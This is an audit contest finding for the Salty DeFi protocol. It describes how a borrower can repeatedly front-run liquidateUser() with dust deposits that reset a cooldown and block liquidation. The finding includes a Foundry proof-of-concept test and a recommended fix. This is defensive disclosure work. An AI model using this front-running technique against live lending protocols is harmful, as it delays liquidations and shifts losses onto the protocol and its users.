Liquidation of a user can be systematically delayed by the user by frontrunning.

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

Impact

User can repeatedly front run liquidateUser() delaying liquidation with miniscule amounts of added liquidity. This delay may cause collateral value to go down further in a volatile market situation causing loss to the protocol.

Proof of Concept

User can repeatedly front run liquidateUser() with depositCollateralAndIncreaseShare(wbtc, weth, maxAmountWBTC, maxAmountWETH, minLiquidityReceived, useZapping), where maxAmountWBTC = PoolUtils.DUST + 1 wei, maxAmountWETH = PoolUtils.DUST + 1 wei, minLiquidityReceived = 0, useZapping = True. This in turn updates user.cooldownExpiration.

Now, with liquidateUser() calling _decreaseUserShare() with useCoolDown = True, will revert as the cooldown has not yet expired.

This delays the liquidation by a cooldownExpiration period. The cooldownExpiration can range anywhere between 15 min to 6 hrs. This time period alongwith miniscule liquidity additions significantly lowers the attack cost.

This can be repeated many times, with the intention of

1. causing loss to the protocol
2. buying time for the user to go above the liquidity threshold level (110%) and regain collateral from being liquidated

Below is a modified test case from the test suite

        // A unit test that verifies the liquidateUser function correctly transfers WETH to the liquidator and WBTC/WETH to the USDS contract
    function testLiquidatePositionFrontRun() public {

        assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 );

        assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC");
        assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH");
        assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");

        // Total needs to be worth at least $2500
        uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
        uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

        (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
        assertEq( reserveWBTC, 0, "reserveWBTC doesn't start as zero" );
        assertEq( reserveWETH, 0, "reserveWETH doesn't start as zero" );

        // Alice will deposit collateral and borrow max USDS
        vm.startPrank(alice);
        collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

        uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" );

        // Deposit again
        vm.warp( block.timestamp + 1 hours );
        collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

        // Account for both deposits
        depositedWBTC = depositedWBTC * 2;
        depositedWETH = depositedWETH * 2;
        vm.stopPrank();

        // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
        vm.prank(DEPLOYER);
        collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false );

        vm.warp( block.timestamp + 1 hours );

        vm.startPrank(alice);
        maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);

        vm.startPrank(alice);
        vm.warp( block.timestamp + 1 hours);

        maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        collateralAndLiquidity.borrowUSDS( maxUSDS );
        vm.stopPrank();

        assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 );

        uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice);
        assertEq( maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral" );

        {
        uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice);

        uint256 aliceBorrowedUSDS = usds.balanceOf(alice);
        assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), aliceBorrowedUSDS, "Alice amount USDS borrowed not what she has" );

        // Borrowed USDS should be about 50% of the aliceCollateralValue
        assertTrue( aliceBorrowedUSDS > ( aliceCollateralValue * 499 / 1000 ), "Alice did not borrow sufficient USDS" );
        assertTrue( aliceBorrowedUSDS < ( aliceCollateralValue * 501 / 1000 ), "Alice did not borrow sufficient USDS" );
        }

        // Try and fail to liquidate alice
        vm.expectRevert( "User cannot be liquidated" );
        vm.prank(bob);
        collateralAndLiquidity.liquidateUser(alice);

        // Artificially crash the collateral price
        _crashCollateralPrice();

        // Delay before the liquidation
        vm.warp( block.timestamp + 1 days );

        uint256 bobStartingWETH = weth.balanceOf(bob);
        uint256 bobStartingWBTC = wbtc.balanceOf(bob);

        // Snippet added to simulate Front running by user
        for (uint i=1; i<6; ++i)    
            {    //Front run
                vm.prank(alice);
                collateralAndLiquidity.depositCollateralAndIncreaseShare( 1001 wei, 1001 wei, 0, block.timestamp, true );
                // Artificially crash the collateral price further
                //vm.startPrank( DEPLOYER );
                //forcedPriceFeed.setBTCPrice( forcedPriceFeed.getPriceBTC() * 54 /(i * 100));
                //forcedPriceFeed.setETHPrice( forcedPriceFeed.getPriceETH() * 54 /(i * 100));
                //vm.stopPrank();
                // Liquidate Alice's position
                vm.prank(bob);
                vm.expectRevert( "Must wait for the cooldown to expire" );
                collateralAndLiquidity.liquidateUser(alice);
                // Delay before the liquidation
                vm.warp( block.timestamp + 1 days );
            }

        // Liquidate Alice's position
        vm.prank(bob);
        uint256 gas0 = gasleft();
        collateralAndLiquidity.liquidateUser(alice);
        console.log( "LIQUIDATE GAS: ", gas0 - gasleft() );

        uint256 bobRewardWETH = weth.balanceOf(bob) - bobStartingWETH;
        uint256 bobRewardWBTC = wbtc.balanceOf(bob) - bobStartingWBTC;

        // Verify that Alice's position has been liquidated
        assertEq( collateralAndLiquidity.userShareForPool(alice, collateralPoolID), 0 );
        assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), 0 );

        // Verify that Bob has not received expected WBTC and WETH for the liquidation
        assertEq( depositedWETH * 5 / 100, bobRewardWETH , "Bob should have received WETH for liquidating Alice");
        assertEq( depositedWBTC * 5 / 100, bobRewardWBTC , "Bob should have received WBTC for liquidating Alice");

        // Verify that the Liquidizer received the WBTC and WETH from Alice's liquidated collateral
        assertEq(wbtc.balanceOf(address(liquidizer)), depositedWBTC - bobRewardWBTC - 1, "The Liquidizer contract should have received Alice's WBTC");
        assertEq(weth.balanceOf(address(liquidizer)), depositedWETH - bobRewardWETH, "The Liquidizer contract should have received Alice's WETH - Bob's WETH reward");

        assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 );
        }

## Tools Used
Manual and Foundry.

## Recommended Mitigation Steps
In liquidateUser(), _decreaseUserShare() should be called with useCooldown = false.

## Assessed type

Context

[c4-judge]

Picodes marked the issue as duplicate of #891

[c4-judge]

Picodes marked the issue as satisfactory